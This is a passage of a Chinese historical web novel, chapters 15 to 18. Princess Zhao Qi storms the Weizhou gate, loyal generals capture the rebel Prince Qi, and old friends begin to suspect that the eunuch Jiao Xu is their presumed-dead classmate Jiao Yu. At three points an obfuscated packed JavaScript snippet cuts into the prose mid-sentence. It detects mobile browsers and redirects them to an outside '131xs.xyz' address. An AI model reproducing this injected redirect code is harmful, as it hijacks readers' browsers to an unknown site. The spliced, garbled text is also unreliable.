没曾想好梦这般快就落了空,朝廷遣调的两司军马影还未见着,岐王倒先一步要杀过来了。 冯国舅本就胆小无用之人,腿一软,险些栽倒在地,忙趁便抓住身后一人的手臂,方才勉强站立住。 他暗自松了口气,余光瞥见被自己抓着臂膀那人却是一个低贱的宦官时,立时皱起了眉,眼中浮起毫不掩饰的轻鄙之色。 他心里恶心,自觉挨了焦勖这等奴才的身脏了自己的尊贵,怎奈自己此刻两股战战,未免当众出丑,少不得要委屈自己暂且借一借他的力。 甫一站稳些后,冯国舅立时像甩什么脏东西一般一把将焦勖的臂膀甩开,又暗暗连退两步离远了些。 赵琦在车中恰巧都看了去,蹙眉目光掠过焦勖那张好似习以为常一般从始至终低垂着的脸,难怪他早间要对她说什么主是主奴是奴,奴才畏惧主子本是天经地义之事一类的鬼话。 她目光复又冷冷地瞥向冯国舅,扫了一眼他仍旧止不住两股战战的丑态,顿觉厌恶至极。 人家且没打过来呢,就惊慌惧怕成这副模样,倘若真到了临阵御敌时,岂不得活活把自己吓死。 听了探马之言,赵琮也只是冷冷一笑。 他这个岐王兄,倒是比那献王叔聪明许多,不但扯了一面粉饰狼子野心的大旗,此刻更是连一日也等不得,马不停蹄地领了人就要趁着援军未到,挟人做质呢。 庆国公和武安侯到底都是武将出身,且都有些年纪见识,脸色变了一变后,异口同声地忙都急急道。 “殿下,为保殿下和郡主的安危万无一失,臣以为此刻宜速入渭州城,命守城军官关闭城门严防进出,待人马入了城后再行商议应对之策。渭州城坚池固,兼有粮仓,即便岐王的人马打来,都可坚守月余,况兵部调令的两司军马不日便能抵达,臣等必能捉拿岐王,殿下不必过于忧心。” 这话好生耳熟,赵琦轻嗤了一声,余光里瞥见焦勖听了庆国公武安侯两个几无二致的言语神情也未甚变化,只自顾蹙着眉不知心中在盘算什么。 她早间叫了焦勖单独跟她出来,便是要同他确认京中的情势究竟是否真如那名来报信的校尉所言的稳妥。 这是她唯一不放心的地方,她知只要京中能稳住,岐王必翻不起大风浪。 只是她和琮儿都久在陆州,于京城防卫及各色人等行事能力俱无所知,心中难免担忧。也说不清是何缘由,比起京中来的其他人,她直觉更信任焦勖。 细细地从焦勖那里探过底后,她便心中略微有了数,眼下虽听岐王不日便就要杀将过来,也并不惊慌。 岐王沽名钓誉地给自己扯了面正义凛然的旗子,不过是打着挟持了琮儿好威逼京中内阁的算盘。 他算盘倒打得响,端看他有没有这个命了。 赵琦冷笑一声。 依了庆国公和武安侯之言,赵琮复又沉声吩咐道:“再着两个人去河南山东两都司递信,务必叫他两司在两日之内整备齐兵马,命山东都司阻击岐王后方部队,岐王独领轻骑而来,粮草补给必不足支撑这几日的行军,阻断他后方补给,必可拖住他行军的速度。再命河南都司的人马夹击岐王先锋营,捉拿岐王,不得有误!” 从清晨闻知岐王勾连张振围了京城,正领军南下欲挟持他到此刻得知岐王的先锋营距此已不过两三日马程,赵琮面上未有过一刻胆怯慌张,最多也不过是冷笑两声。 冼正言和孔益道不由心中敬服,小小年纪,便能如此沉得住气,非但临危不乱,又肯听臣下忠言良策,实乃国之幸事。 诸事毕,使队重又出发。 马蹄阵阵,车轮滚滚,不消半个时辰,赵琦远远便看见了渭州城威严耸立的城楼,她眼力好,未及近前便察觉出些异样。 此时日暮西垂,原是临近关城门的时辰,照理此刻出城的路应不至于如此冷清,赶早进城买卖走动的人口此时正是该着急往家赶的时候,怎么出城的路上半个人都没有。 正想着,先一步催马前去渭州城通告宁王并奉迎使等已到渭州城外速速开门迎王的一名参将满面怒容地打马折了回来,不知他跟庆国公说了什么,只听庆国公陡然震怒,当即大骂。 “混账王八羔子!好大的狗胆!他娘的想造反呢?!” 一语未了人已纵马朝城门冲了过去。 赵琦蹙眉,招来卫宪去问是何事。 赵琮虽未听清庆国公骂了什么,但见车队忽的停住,蹙眉也已掀开车帘看了过去。 片刻后,卫宪便带了那名不知何故满脸怒容的参将过来,那人见朝云郡主有问,面上本就惴惴的,及至近前看见赵琮也探了头出来,顿时吓得面如土色,唯恐方才听到的大逆不道之言叫宁王知道迁怒降罪于自己。 未等赵琦和赵琮开口,他先已跪地连叩数首,慌道:“王爷郡主容罪!末将不敢污了王爷和郡主的耳,求请王爷和郡主等国公爷回来自便可知。” 这话说得好生古怪,什么了不得的话就怕成这样。 “恕你无罪,你只照实说来便可。” 赵琦眉蹙得愈深,只叫那参将据实已告。 那参将还不敢言,又小心翼翼地瞥了眼未则一声的赵琮,见他正也凝眉望着自己,慌忙垂下头,只得战战兢兢地开口说明。 原来是他到渭州城门口时,城门却早已紧闭,他不知何故,在城下叫那城楼上守卫的官兵,说与他们奉迎使迎护宁王到此,速速开了城门出城来迎宁王入城。 谁知那一众守卫官兵支支吾吾先是说近日渭州流盗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735160|174051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四起,他等遵了知府之命,紧闭城门防范盗贼侵害,一概不得放人进出。知府如今去了治所向布政使求援去了,他们无令不敢擅开城门。 被他破口大骂了一顿别不识好歹,宁王眼下便是进京即位去的,尔等还敢提着脑袋说这些狗屁不通的话后。 那些守城的官兵遂又改口,又扯什么近日闻听岐王起事,现已南下来抓宁王,为防他借道渭州城补给,是以紧闭了城门,如今知府不在,他们也辨不得来的是真宁王还是岐王的人假冒的,为保万无一失,宁可得罪诸位,便真是宁王,也请自去他城吧。 赵琦和赵琮未及听完,便已俱都冷冷直笑,发令叫整队继续前行。待近了城楼,远远便听见庆国公在那里破口大骂。 城楼上守城的官兵内里都心知肚明被堵在城外的便就是接了遗诏要入京当皇帝的宁王,只是渭州知府和守备被岐王买通,他们阖家老小都被知府和守备抓在手中,因此只能唯命是从。 眼见着庆国公越骂越难听,城楼上的守备不觉面色紫胀,没忍住露了底,脱口将真心话一气说了出来。 “国公爷也不必在这里逞威风,为难下官也无济于事,岐王不日便到,到时迎了宁王殿下一道入京,大家岂不都省事。” 城下众人听了这话俱都面色一变,当先的庆国公一声暴呵:“大胆逆贼!” 话音未落,忽听接连两声利箭破空声响,庆国公忙要拔剑时,又是两声利箭破空而过。 他的剑尚未出鞘,便只见一道火红身影自身后快马呼啸而过,不待他看清是谁,那道火红的身影又已连射两弓,却原来是三箭连发,箭箭力透千斤,直没入高耸的城墙内。 赵琦飞马引弓,连射了七弓,须臾便在城墙上造了一架箭梯。不等惊雷驰至墙根之下,人已飞身跃上第一支羽箭,左右借力,以迅雷不及掩耳之势顺着城墙上的一溜羽箭倏忽便攀上了城楼。 城楼之上一众官兵眼睁睁地看着她打马而来,未及做出反应,她已先杳然飘落在城楼之上。 众人怔怔地望着她迎风而舞的石榴红绫长裙,只觉宛若天人降临。 下一瞬,天人挥刀一刀便将守备的头颅砍了下来。 赵琦跃上城楼,当先一刀砍下那口出谋逆之言的守备头颅,刀势不减,反手将带血的刀刃架在守备近旁拔刀已慢了一步的副官脖上。 那副官既见了滚落至脚边犹圆睁着双目满眼惊诧的守备头颅,又见赵琦的刀已架在自己脖子上,顿时面如土色,瞬时便尿湿了两只裤腿。 赵琦看也不看他一眼,刀紧逼着其脖颈凌眉冷目扫过楼上一众官兵,扬声高语道:“渭州城的官兵都听着,我乃朝云郡主赵琦,宁王赵琮胞姐,犯上谋逆之首犯现已被我诛杀,尔等从犯放下兵器者既往不咎,若是胆敢冥顽不灵负隅顽抗,格杀勿论!” 她此刻眉目凛然,神态威严,虽已语毕,然借着内力穿透整个城楼的声音仍旧震耳欲聋地回荡在城楼上下。 那些胆小的官兵既见了守备被杀,岂有不怕的,立时便争先恐后地丢了手里的武器。余下一些还在摇摆的一见这情形,也纷纷随着头先的官兵丢盔弃甲。 不消片刻,城楼上一应官兵俱已丢弃了兵刃,齐齐跪地叩首。 “谢郡主天恩!谢郡主天恩!谢郡主天恩!” “开城门!” 赵琦的刀仍旧架在那名城楼副官的脖上,提气沉声下令。 伴着她的一声令下,厚重的渭州城门应声缓缓向两旁打了开来。 16. 第 16 章 既入了城,当务之急自是率先更换城防。 京营士兵由各队参将统领,分散前往城中其余三门,宣宁王命:即刻放下兵器悔悟者既往不咎,若是仍执迷不悟负隅顽抗,格杀勿论! 大历的州府皆不领兵,渭州城内现不过几百个负责平日看守城门兼查验过往商旅人口之路引的官兵。眼见着数千京营士兵涌了进来,早已都吓破了胆,听了这话纷纷扔了武器,伏地叩首谢恩。 一炷香后,赵琮以兵不血刃之姿,将渭州全城接管。 按路程算,河南山东两司的先遣人马次日午时前是定能抵达渭州城的。 援军到抵之前,以防横生枝节,赵琮宣令渭州城戒严,所有人枕戈待旦,务必确保城防不出纰漏。 他亲身作则,亲领了正南门的督护防卫之职,命赵琦一同协理,余下三处城门的督护防卫分由庆国公武安侯和驸马都尉负责。 安顿好城防守卫,赵琮命冼正言带领一班大内侍卫并收编的渭州官兵往城内安抚城中百姓,以安定城内人心。 再命大学士孔益道领另一班大内侍卫前往府衙取了账本去清点核对城中三处粮仓内的粮食数目,以因应日后与岐王之战。 一入城焦勖便奉命领东厂直入府衙捉拿提审渭州知府,以东厂刑讯问供的手段,眼下渭州知府只怕该招不该招的都招完了。 赵琮的身先士卒极大地鼓舞了众人的士气,令出之后,庆国公武安侯冼正言一并连着三千京营士兵俱都士气倍涨,齐声应诺。 众人领命而去,各司其职忙开,城中彻夜灯火通明,来往应事传递消息的人往来不绝。 “什么时辰了?” “回郡主,刚过亥正三刻。” 赵琦站在城楼上向远处极目眺望,风清日正,入城的路上依旧空空荡荡,不见半缕飞马带起的尘烟,听了回答微微蹙起了眉。 按路程推算,两司调派的兵马早该到了,况自昨日接到京中消息起,琮儿已接连派出去了两拨传令的人。 眼下都已正午了,非但两司兵马没看着影,连去传信的人也没回来半个,这便足够耐人寻味了。 岐王既然能买通渭州城的知府和守备,难保不会一并将山东河南两省的都指挥使也全都收买了。 正冷冷猜测着时,瞥见庆国公几个神色焦灼地一道寻了过来。 庆国公边走边同武安侯几个愤色怒骂。 “他娘的这河南山东的都指挥使搞的什么名堂!人到现在还没过来,是都死路上了不成...” 正骂着,抬头瞥见赵琦立在城头,忙将剩下的脏话都咽了下去,紧走两步迎上前来问好。 “这日头正毒,郡主怎么独自一个在这外头,熬了一夜,也该歇歇才是。” 昨日亏得她赚开了城门,方才能不费吹灰之力入得渭州城来。庆国公等此时再见她,不觉都多了些巾帼不让须眉的敬佩。 “不妨事,正好醒醒神。” 赵琦同庆国公等见过礼,笑着问他们:“几位是为着两司的事而来?” “正是,不知王爷现下在何处?” “在值房内和孔大人核验粮食物资的数目,几位大人随我来吧。” 正欲转身时,忽听城外一人连声喊着‘报——’的,打马疾驰正往城门行来。 赵琦忙驻足快步转回城楼前朝来人望去,看清那人身上穿的是京营的军服。 正想着不知是遣去两司处的人还是往岐王处打探消息的人时,那人已近了跟前翻身下马,大声通报了姓名及所属营队,仍旧是打探岐王动静的探马。 守卫忙开门将人带进城来,给了水喝,速速领着来见赵琮。 “禀殿下,伍参将探得岐王先锋营已至鲁岩镇,预计明日夜间便能到河下府,急命小人回来奏禀殿下。” 来得当真够快,赵琦暗暗蹙眉,他们恐怕要做最坏的打算了,河南山东两司的兵马眼下还俱都音信全无,只怕是指望不上了。 “明日夜间就到?!” 武安侯大吃一惊,神情顿时慌张起来:“这可如何是好?兵部调派的两司俱还不知在哪儿呢,咱们统共只才三千多人,如何能应付得了岐王一万五千人的先锋营?” 未及说完自知失言忙住了嘴,眼下这般敌我不均的情况下说这等长他人志气灭自己威风的话,无疑有动摇军心之嫌。 武安侯脸色一白,急忙告罪。 赵琮仍旧冷静镇定得很,全然不见慌张,即便听了武安侯的丧气话也未见怒气。 “侯爷原是关心则乱,尚算情有可原,请起吧。” 庆国公听完心中不知怎的亦发不安了,纵使河南山东两都司平日再如何疏于练兵以至调令不及,既有宁王亲令速援,无论如何也不该如此轻慢以至眼下还不见人影才是。 念及被买通的渭州知府和守备,一个令他脊背发凉的答案不觉呼之欲出。他不敢再往深了想,忙出列奏禀赵琮。 “殿下,河南山东两司此刻仍都没到,派去督催的人也一个都没回,臣唯恐有变。臣请派人快马往京中传回消息,叫兵部另行抽调近省兵马协援,方为万全之策。” 大历自建国以来,为防地方拥兵自重,各行省都指挥使司皆只有练兵之权,若要调遣军队,需得兵部发令方可。 赵琮神色从容地端坐在上座,即便听了庆国公的忧虑之话也未见着急,反倒笑着点了点头。 “国公爷正同本王想到一处去了,昨夜本王已遣人往京中通告内阁,另请兵部调出旗牌令,以便宜行事。” 众人闻得‘旗牌’二字,俱都吃了一惊,只除了赵琦。 昨夜焦勖单独来找了她,话并不多,但句句剖析入微,直击要害,便是他建议赵琦告于赵琮向京中调旗牌令来,以防两司生变。 原是未雨绸缪之计,眼下看来只怕当真要用上了。 所谓‘旗牌’,乃兵部下发之用于自行调兵遣将的信物,其除了可以用于调派兵马之外,还随附有自行处置缉拿的寇首要犯之权。得有朝廷敕书的旗牌令官,对上无需再另行请示朝廷便可自行处置缉拿的贼首,对下又可节制将领,诛杀不法之兵将。 一省都指挥使皆乃朝廷要员,封疆大吏,即便有了罪,也不可不经审议便自行杀掉,仍是要抓了送往京中定罪的,这原是为了防止各省武官专权乱杀之用,也是为了让朝廷能更好地控制各地的兵马。 因着赵琮是即将接任皇位的人,眼下的状况原不可与往日一概而论,但赵琮到底也尚未即位,各省都司未必肯听他的,而旗牌令,便能叫他正大光明地行事。 目光淡淡扫过面露惊异之色的庆国公等人,赵琮复又温声开口。 “倘若两司兵马当真不能在岐王之前赶到,兵部令牌到达之前的半月便免不了一场苦战。届时还需仰仗各位齐心守城,奋力抗贼,本王在此先行谢过了。” 赵琮说着起身郑重地朝堂下众人施了一礼。 庆国公等受了他如此大礼,俱都吃了一惊,既觉体面自是不肯有负所托,忙诚惶诚恐地跪地叩首齐声道:“老臣等责无旁贷,势必紧守渭州,必叫岐王的狼子野心有来无回!” 至傍晚十分,赵琦和赵琮方才与庆国公等商议完一应守城事宜,刚抽出点空闲用晚饭时,忽听城楼上守卫的京营士兵急急地跑来通禀。 “王爷,郡主,瞭望台侦得城外有大队军马正疾驰着往渭州城而来,尚未辨认出是援军还是岐王。” 岐王两个字说得极小声,唯恐惹恼了赵琮。 赵琦和赵琮急忙起身疾步走出值房,出来城头看时,只见远处天际处尘土飞扬,一眼望不见尽头的大军疾行着正往城楼方向而来。 赵琦二话不说,急忙取了弓箭列阵提防。 她紧抿双唇凝目远眺,心中猜测着来的人马到底是两司还是岐王时。只见那隐有遮天蔽日之势的大军在离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735161|174051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城两三里的地方缓缓止了住,紧跟着便见大军中纵马驰出三人,俱都一身的重甲。 赵琦弯弓搭箭瞄准那三人,居右末的一人似是抬头望了她一眼,离得尚远,辨不清神情。 赵琦凝神戒备,只待一有异动便先行放箭。 那三人行得离城十来丈远时便俱都收缰勒马,齐齐翻身下马,在原地拱手单膝跪地高声向城头喊话。 “南直隶行都指挥使周恺,携营下指挥佥事曲长生,领南直隶十万卫兵前来护驾!” “山东都指挥使司下属虞城总兵陈大鹰,取了与岐王暗通款曲意图谋反的山东都指挥使马炎首级在此,特领虞城两万卫兵前来护驾!另禀宁王殿下,现山东都指挥同知王金茂并葛城卫总兵李忠正奉命夹击岐王后方大军。” 耳听得来人通报姓名,未及听完余下之话,赵琦的眼睛便染上了笑意,惊喜道:“是长生哥和大鹰哥!” 全没想到还能在渭州见到陆州旧人,赵琦顿时喜出望外。 赵琮见她忽的笑了,面上又惊又喜,语气又极是熟稔,不觉疑惑,转念一想,心下便已猜着了出处,扬眉笑问:“是涯舟书院的人?” “嗯,我好多年不曾见过他们了,当年他们嫌我小,都不肯带我玩呢,也就阿...” 她忽的吞声,笑道:“也有快八年没见了,真没想到会是他们。” 八年前,那时他方才六七岁,难怪他识不得。难得见阿姐这般高兴,想来旧时关系必是极亲密的。 藩王府是不能同朝廷命官结交的,曲张二人既已纷纷入朝为官,本就各分天涯与陆州旧人难见一面了,而阿姐偏又是藩王府的郡主,即便他二人得闲回陆州探亲,私下也不便与宁王府多有来往,这既是为着他们自己好,也是为了不给宁王府惹麻烦。 须知历任皇帝最忌讳的便是臣下和藩王私自结交,他二人本就出自宁王府捐助的义学,原就比旁人多些嫌隙,愈发地需谨言慎行,方才能不给宁王府和自己招来不必要的祸事。 城楼上众人耳闻得是援兵,立时忍不住欢呼起来。 他乡遇故知,赵琦的高兴溢于言表,忙命人开城门请他三人入城,语毕已等不及亲身迎了下去。 “长生哥,大鹰哥,怎么会是你们?我真是好高兴!” 久别重逢,曲长生和陈大鹰心中也喜悦非常。 “陆州一别,有近八年了吧,郡主都长成大姑娘了,往后大鹰哥就不偷藏你的酒了。” “可不是大姑娘了,方才拿箭瞄着人的架势,我生怕她冷不丁给我一箭。” 曲长生斜眼笑觑着赵琦,打趣道。 “那长生哥可当真要小心了,我如今的箭法比你也不差了,你可未必还躲得过去。” 赵琦扬眉一笑,语气亲昵,难得地带了几分孩子气的得意。 这么多年她倒是一直没变,嘴上是半点不肯让人的,只一个人例外。 曲长生摇头失笑,先不与她闲扯,将身旁一身重甲,体格魁梧健硕的将领介绍给赵琦。 “这位是周恺周将军,南直隶行都指挥使,是末将的主将,也是我的生死之交。” 那周恺生得颇为雄壮,见赵琦笑盈盈地望着他,抱拳又行了一礼:“末将见过郡主,郡...” “周将军快免礼,你既是长生哥的好友,咱们便不使这些虚礼。” 周恺原就从曲长生那听过许多宁王府在陆州的事迹,比如兴办义学,比如施粮济民,又比如这位小郡主专好行侠仗义之事。 今见赵琦本人又是如此重情爽利,心下愈发地敬重,便也不拿往日那些官场上虚情假意的一套来对她。 周恺也不推让,止了礼,颔首笑道:“郡主且晚些叙旧,臣还有事要奏禀殿下呢。” 他一身正气,为人做派又爽朗,最是合赵琦的胃口。 赵琦便也笑道:“是我高兴糊涂了,正事要紧,周将军请跟我来。” 17. 第 17 章 赵琦速速地将三人引上城楼与赵琮相见。 周恺曲长生陈大鹰行过礼,入得值房,一一将军情要事奏禀。陈大鹰腰上还携着一颗血淋淋的人头,语毕解下裹着人头的包袱呈上。 “此乃山东都指挥使马炎首级,这厮勾连岐王,接了兵部调令却只按兵不发百般拖延,暗中还纠集同党故意在军中散播张振已控制京城岐王不日即将入主京师的谣言,意图扰乱军心鼓动谋逆,臣情急之下,擅自将其斩杀,实有违法度,特来向殿下请罪!” “杀得好!” 未及听完赵琦便扬声喝彩,在陈大鹰弯膝欲跪时及时出手托住了其臂膀不令他跪下,恨声道:“难怪我们接连派了两拨人督促河南山东两司及早发兵却俱未等来半个增援,此等不忠不义意谋不轨之徒,正该杀了以安军心。” 赵琮亦忙命起身:“陈将军忠义之举,何罪之有,阿姐,快快扶陈将军起来。” 说着叫卫宪接过了陈大鹰手中包裹马炎首级的包袱拿来,打开来放在自己身前的几案上。 觑着人头露出,赵琦微微撇开了眼,如非必要,她并不想再看见这些血淋淋的尸块,可怖又恶心,没甚意思。 赵琮面色从容,冷冷的目光毫不避讳地看向案上那张血色尽失青白交错的全然陌生的中年男人的脸。 他此前从未见过山东都指挥使马炎,自然不是为了认人。 如若今日先到的不是周恺曲长生和陈大鹰,而是岐王的人,他和阿姐也许就会折在这些狼子野心之徒手中。 只有赢的人,才有资格生杀夺予。 没什么表情地盯着马炎那双盛满惊惧诧异尤自还圆睁着的眼睛看了片刻,赵琮收回了视线,令卫宪收起头颅拿去交予庆国公处置。 “眼下河南都司的兵马还未出现,岐王既然能收买山东都司的都指挥使,河南这边只怕情况也不容乐观。周将军,长生哥,大鹰哥,你们入境时,路上可有发现何异样?” 曲长生回道:“我们是在勉琉镇同大鹰碰上的,一南一北两路兵马路上皆未遇到河南都司的卫所阻拦,河南这边即便有异动,人心也必不齐,暂不足为虑。擒贼当擒王,只要捉拿住岐王,余下依附之人势必方寸大乱,届时自可将其一网打尽。” 赵琮见曲长生语气不急不缓,神态亦是成竹在胸的模样,再观周恺陈大鹰二人神色亦是一般无二,料他们心中必是早已有了计较。 既有了真正身经百战熟悉战事军务的大将,岂有不用之理。 且他三人中曲长生和陈大鹰还是赵琦的故交,旧日又曾在宁王府捐助的义学中求学,比起庆国公武安侯等京中来的朝臣,私心里赵琮自然要更信任曲长生陈大鹰和周恺。 赵琮轻笑,顺势问道:“那依几位将军之见,该当如何方能擒住岐王?” 三人中周恺的官职最高,既是赵琮发问,曲长生和陈大鹰略一拱手,交由周恺奏禀。 周恺恭声答道:“回殿下,依臣等愚见,目下岐王只带了一万五千兵马来犯,连日急行军,明日到抵河下府时,必是人困马乏。臣和曲佥事趁夜领兵前往府界布下埋伏,令营下休整一日,待岐王到时,以我抖擞之师,战其乏困之军,必能捉拿岐王。” “周将军既已有了良策,捉拿岐王之事,本王便交给周将军。” 赵琮朗声应允,正色令道:“至于兵马调度,几位将军皆悉内行,任凭裁夺。平叛一事,本王便全仰仗几位了。” 语毕起身郑重向堂下周恺曲长生陈大鹰三人施了一礼。 赵琦也笑着起手郑重向三人施了一礼:“周将军,长生哥,大鹰哥,辛苦几位及营下将士了,待擒住岐王,我另请你们喝酒。” 赵琦姐弟如此礼遇,尤其是赵琮,小小年纪,非但沉着果决,又兼礼贤下士,与昔日独断专行的建武帝相比,更叫周恺三人感念深切。 良将遇明君,叫人如何不澎湃振奋。 周恺曲长生陈大鹰当即拱手朗声应命:“臣等必不辱命,必生擒岐王来见殿下。” 领命毕,商议由周恺和曲长生领南直隶六万兵马即刻赶往河下府界外埋伏捉拿岐王,陈大鹰则总领剩余的六万兵马在渭州城外布防,以护卫赵琮赵琦和奉迎使队。 出得值房,趁着整备粮草的空隙,曲长生和陈大鹰悄声将赵琦叫至僻静处。 赵琦正疑惑是何事时,只见曲长生和陈大鹰两个你看看我我看看你,反倒都不说话,一副好似不知从何说起的模样,愈发疑惑了。 “长生哥,大鹰哥,咱们之间不必见外,有什么事你们直说便是。” 陈大鹰本是个直肠子,抓了两下头,也憋不住再酝酿言语,暗声先开了口。 “方才殿下跟前,我和长生有些话不便详说,其实早在兵部的调令下来之前,我和长生就都已私下提前在做准备了。颁布遗诏的政令抵达各州府的同日,有人夜里分别寄了密信于我和长生,信中原是提醒我二人张振意欲谋反,嘱咐我和长生提早准备粮草练兵事宜,届时若京中安稳,我们便当无事发生,如若京中一旦有变,即可随时发兵援助京师,襄护在路上的殿下和奉迎使队。后来张振果然围了京师,还和岐王勾连,意欲取而代之,我们方才能及时因应。我和长生也是路上碰上才得知对方收了同样的信,还是出自同一个人,一个叫我和长生无论如何也想不到的故人。” 想不到中间还有这番缘故,原来早有人暗中在提防张振,且还是帮着琮儿这边的人。 赵琦听了也十分讶异,又听陈大鹰说信是出自一个叫两人都觉出乎意料的故人,愈发好奇起来,笑道。 “想来大鹰哥这样说,这个人必是我也认识,到底是谁给你们写的信?此人心思缜密,对朝中人事了如指掌,又能提前查获张振有不轨之心,还能神不知鬼不觉地分别给你们送去密信叮嘱,在京中权势必是不低,咱们都认识的人,我实在猜不出。” 陈大鹰和曲长生对视一眼,定定地望着赵琦,异口同声说出了那人的名字。 “是焦毓。” “谁?” 陌生又熟悉的名字,穿过十七年的沉沉重雾,又一次从旁人的口中听到。赵琦怔了怔,以为自己听错了,不可思议地看向曲陈二人:“你们方才说...是谁?” 曲长生定定地回望着赵琦的眼睛,神色掩不住的激动,一字一句重复:“落款是焦毓,他说他是焦毓。” “怎么会是...焦毓?他不是已经...”死了。 最后两个字赵琦没有能说出口。 “确确实实是焦毓的字迹,我还特意翻出了旧年在书院他帮我抄的书来比对过。虽比少年时又精进许多,然俊秀雄逸之风,确是出自他手。信的末尾,附上了一则涯舟书院时的旧事,是除了我自己和焦毓之外,再无第三个人知晓的事,大鹰的信上亦是。” 陈大鹰跟着点头:“我们原是想来问问郡主可也有收到焦毓的信或是消息,毕竟当年你们两个那么好,焦毓既然还活着,能联系我们,没有道理不联系郡主你。现在看来,他还是刻意在隐瞒行踪。” 说到末尾一句,陈大鹰忍不住微微皱眉。 曲长生跟着也皱眉,叹了口气,语气万般不解。 “当年到底出了什么事?这么多年焦毓明明活着为什么都不联络我们?” 他这话方一问完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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焦勖目不斜视地行过曲长生和陈大鹰身侧,脸上是那副万年不变的菩萨低眉的温和笑脸,由始自终,不曾有过半刻停顿。 曲长生本是疾步快走,擦肩而过时,目光从焦勖的脸上扫过复又回视前方,错身已行去老远才忽的反应过来方才目光落在焦勖脸上时心中些微的一点眼熟之感所谓为何。 他怔了怔,急忙顿住步子回身张望着想确认时,焦勖却已入了值房。 陈大鹰见曲长生忽的顿步回头张望,面露疑惑:“怎么了,看到谁了?” “大鹰,你觉不觉得方才过去那人有些面善?” “哪个?” “穿绯色蟒袍的那个。” 绯色蟒袍那不是宦官的朝服,陈大鹰一听这描述未及回答先啐了一口:“你看那等阉人干甚?” 阉人二字入耳,曲长生愣了愣。 倒是他糊涂了,怎么忘了穿那衣服之人必是宫中近侍。 默了默,曲长生方要脱口的那句‘你不觉得他长得很像焦毓吗’又吞了回去。 焦毓...怎么可能变成太监。 不可能的,那样一个惊才绝艳的少年,十二岁中举,一朝名满湖广,如若不是那年出了事,他也许会是大历最年轻的状元。 一个宦官又岂配和他相提并论,反倒折辱了他。 也许是他看花了眼,就算模样真有几分像,也不过只是面貌相似之人罢了。世间之大,无奇不有,便是有一两个容貌长相相仿之人,也不是什么异事。 18. 第 18 章 五日后,周恺和曲长生在河下府界歼灭岐王先锋营一万一千余人,生擒岐王,曲长生亲将岐王押送回渭州城交予赵琮发落。 随后他二人兵分二路,曲长生奉谕接管河南都司,传令河南省界各卫所若有违令不遵者,一律革职查办,按军法处置。另一边周恺率军七万驰援山东都指挥同知王金茂,奉谕剿灭岐王余党。 河南都指挥使李韬闻得岐王被擒,曲长生正奉宁王金符口谕领军前来接管河南都司,撇下家小逃走,被司下指挥佥事带军擒了回来。 岐王被擒的消息传回青州老家后,叛军顿时乱做一团。周恺等统领的平叛大军一路势如破竹,不到一月,散布山东的岐王余孽即被全数歼灭。 周恺奉旨将岐王府查封,派遣营下亲军看守,岐王府上下合六百八十九口,查验身份毕,关押府中,听候发落。 赵琮这里捷报频频,京城那边的平叛却远不如赵琮这边顺利。 张振虽贪财好欲之徒,然也当真骁勇善战,且兼心狠手辣,不惜以京城周边府县百姓强为其伏兵诱饵,是以京营军将虽稳住了京师未叫其攻破,却始终杀拿他不住。 赵琮擒住岐王,平息河南山东的动荡后,即刻率军驰援京师。大军急行十日,到了京师附近,前方不远便是张振的叛军。赵琮下令在距离京师二百里地外安营休整,整兵备战。 议事毕自赵琮帐中出来,曲长生一抬头,便远远看见了在布置防卫守夜人手的焦勖。 他一边往外走,目光却不自觉地又看了过去。 太像了,那个人。 不止是长相,就连走路的样子,说话的语调,以及那一身叫人如沐春风的温润气度,真的都太像焦毓了。 自收到焦毓的信后,他便一直在想,焦毓到底在哪儿,之前又为什么不愿意联系他们,而今出现了为什么却仍旧要隐瞒下落,不肯露面。 建武一朝吏治腐败,朝臣们结党营私,争权夺利,更有奸佞当道,宦官干政。在朝中这十来年,他也曾被卷入过几次派系争斗中,最后俱都全身而退。 他昔年总以为是因为自己牵涉不深,素日又谨慎提防才得以脱困,还总笑称自己运气好,如今细回想起来,哪里就次次有这般好运道,总能安然而退,除非朝中有人悄悄地在暗地里帮他。 一旦细究,旧时如此这般被他和大鹰归为‘好运道’的地方便都有了更合理的解释。 比如他和大鹰的官职,他今年只三十三,大鹰只三十四,却已分别做到了一省的都指挥佥事和总兵,武官虽不若文官在朝中得用,却也已俱都是官秩正三品的要职,以他和大鹰的出身和资历,是十分不容易的。若非朝中有人暗地帮衬,岂是光凭借军功便能跻身而上的,要知这些年,朝中买官卖官早已蔚然成风,不花钱向上疏通打点,凭你立了何等功劳,也难传到皇帝耳中。 而这一切,皇帝身边的贴身近侍,京中威名赫赫的大宦官,最受其宠信之一的司礼监掌印太监焦勖,都能轻而易举地做到。 赵琦掀帘出来,便见曲长生怔怔地立在出内营的口子那,面上神情复杂,饱含探究和打量的目光直直地望着侧方某处。 她顺着曲长生视线的方向看过去,焦勖正背对着她们在吩咐厂卫事宜。这已经不是第一次了,长生哥用这种眼神观察焦勖。 “长生哥也觉得焦大人很面善是不是,他长得像焦毓吗?” 赵琦走到曲长生背后,忽而开口问道。 